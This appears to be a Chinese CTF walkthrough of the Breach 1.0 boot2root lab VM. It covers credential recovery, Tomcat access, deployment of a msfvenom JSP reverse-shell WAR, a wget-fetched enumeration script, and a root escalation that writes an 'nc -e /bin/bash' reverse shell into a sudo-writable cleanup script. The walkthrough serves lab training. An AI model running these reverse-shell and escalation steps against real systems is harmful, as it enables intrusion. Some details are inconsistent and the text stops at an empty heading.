靶机说明

Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战。

VM虚机配置有静态IP地址（192.168.110.140），需要将虚拟机网卡设置为host-only方式组网。非常感谢

Knightmare和rastamouse进行测试和提供反馈。作者期待大家写出文章，特别是通过非预期的方式获取root权限。

目标

Boot to root：获得root权限，查看flag。

运行环境

靶机：网络连接方式设置为主机模式（host-only），静态IP是192.168.110.140。

攻击机：同网段下有Windows攻击机（物理机），IP地址：192.168.110.20，使用Kali Linux攻击机。

2、信息收集

nmap 扫一波发现都是开放的端口，显然不靠谱，看一下访问一下http，开始渗透吧

3、漏洞挖掘

3.1 获取 CMS的密码：

访问http，查看源码发现两个点：

1、第19行链接到initech.html

2、第23行两次base64进行解密得到：pgibbons:damnitfeel$goodtobeagang$ta

root@kali:~# echo "Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo" | base64 -d | base64 -d 
pgibbons:damnitfeel$goodtobeagang$tar

3.2 访问impress cms

使用pgibbons:damnitfeel$goodtobeagang$ta登录http://192.168.110.140/impresscms/user.php

收集信息：

http://192.168.110.140/impresscms/modules/banners/ 可浏览目录 Apache版本 2.4.7 服务器 Ubuntu

两个意思的文件：keystore、pcap

keystore

keystore（Inbox-ImpressCMS Admin-192.168.110.140/.keystore Bob）

第1封邮件:
主要内容：让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全，发自ImpressCMS Admin Bill。
第2封邮件:
主要内容：Michael采购了IDS/IPS。
第3封邮件:
主要内容：有一个peter的SSL证书被保存在192.168.110.140/.keystore。

PS:

keystore是存储公私密码的一种文件格式

pcap

_SSL_test_phase1.pcap（Home-Content-SSL implementation test capture）

me the alias, storepassword and keypassword are all set to 'tomcat'

提示别名、存储密码和密钥密码都设置为“tomcat”

3.3 得到Tomcat后台

由keystore和pcap等到tomcat后台

获取pcap的时候，提示SSL 证书的别名、存储密码和密钥密码都是tomcat

然后keystore又根据邮件提示存储了SSL的证书，所以先从keystore中获取SSL的证书，然后用SSL证书解密pcap得到Tomcat后台

keytool

root@kali:~##查看keystore这个密钥库里面的所有证书
root@kali:~# keytool -list -keystore  ./下载/keystore 
输入密钥库口令:  tomcat

密钥库类型: JKS
密钥库提供方: SUN

tomcat:Tt5D8F(#!*u=G)4m7zB

登录Tomcat

https://192.168.110.140:8443/_M@nag3Me/html
tomcat:Tt5D8F(#!*u=G)4m7zB

在此之后我决定查看两个GIF，并且由于使用了密码套件而访问该网站时出现问题，

进入about:config并添加字符串security.tls.insecure_fallback_hosts 192.168.110.140做了诀窍

3.4 Tomcat上传木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war

然后把breach.war部署到Tomcat上，kali开启监听，访问breach.war反弹回shell

python -m SimpleHTTPServer
LinEnum.sh
cd /tmp
wget http://192.168.110.20:8000/LinEnum.sh
chmod LinEnum.sh
./LinEnum.sh
mysql -u root -p 
use mysql;
select User,Password from user;
milton           | 6450d89bd3aff1d893b85d3ad65d2ec2
在线MD5解码：thelaststraw
milton：thelaststraw
su -  milton：thelaststraw
sudo -l

4、提升权限

1、mysql获取milton

MySQL无密码得到milton：thelaststraw

nc -lvp 4444

2、从milton获取blumbergh

wget http://192.168.110.140/images/bill.png

su - blumbergh
coffeestains

3、从blumbergh获取root

blumbergh@Breach:~$ sudo -l 
sudo -l 
Matching Defaults entries for blumbergh on Breach:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User blumbergh may run the following commands on Breach:
    (root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh
	
echo "nc 192.168.110.20 4445 -e /bin/bash" | sudo  /usr/bin/tee    /usr/share/cleanup/tidyup.sh


echo “nc -e /bin/sh 192.168.110.23 443” > /var/lib/tomcat6/webapps/swingline/script.sh
cat /var/lib/tomcat6/webapps/swingline/script.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

root@Breach:~# cat .flag.txt

5、知识点：

5.1 keystore

是存储公私密码的一种文件格式

5.2 keytool

root@kali:~##查看keystore这个密钥库里面的所有证书

root@kali:~# keytool -list -keystore ./下载/keystore

root@kali:~##从密钥库导出.p12证书

root@kali:~

# keytool -importkeystore -srckeystore ./下载/keystore -destkeystore ./tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

5.2 查看pcap

ngrep

ngrep -I _SSL_test_phase1.pcap

ngrep -i nethunter -I _SSL_test_phase1.pcap

ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’

tcpick

tcpick -C -yP -r _SSL_test_phase1.pcap

tcpdump

tcpdump -qns 0 -X -r _SSL_test_phase1.pcap

tshark

tshark -r _SSL_test_phase1.pcap

tshark -r _SSL_test_phase1.pcap | grep -i get

5.3 火狐访问tls

进入about:config并添加字符串security.tls.insecure_fallback_hosts 192.168.110.140

代理所有协议访问8080

5.4 生成木马
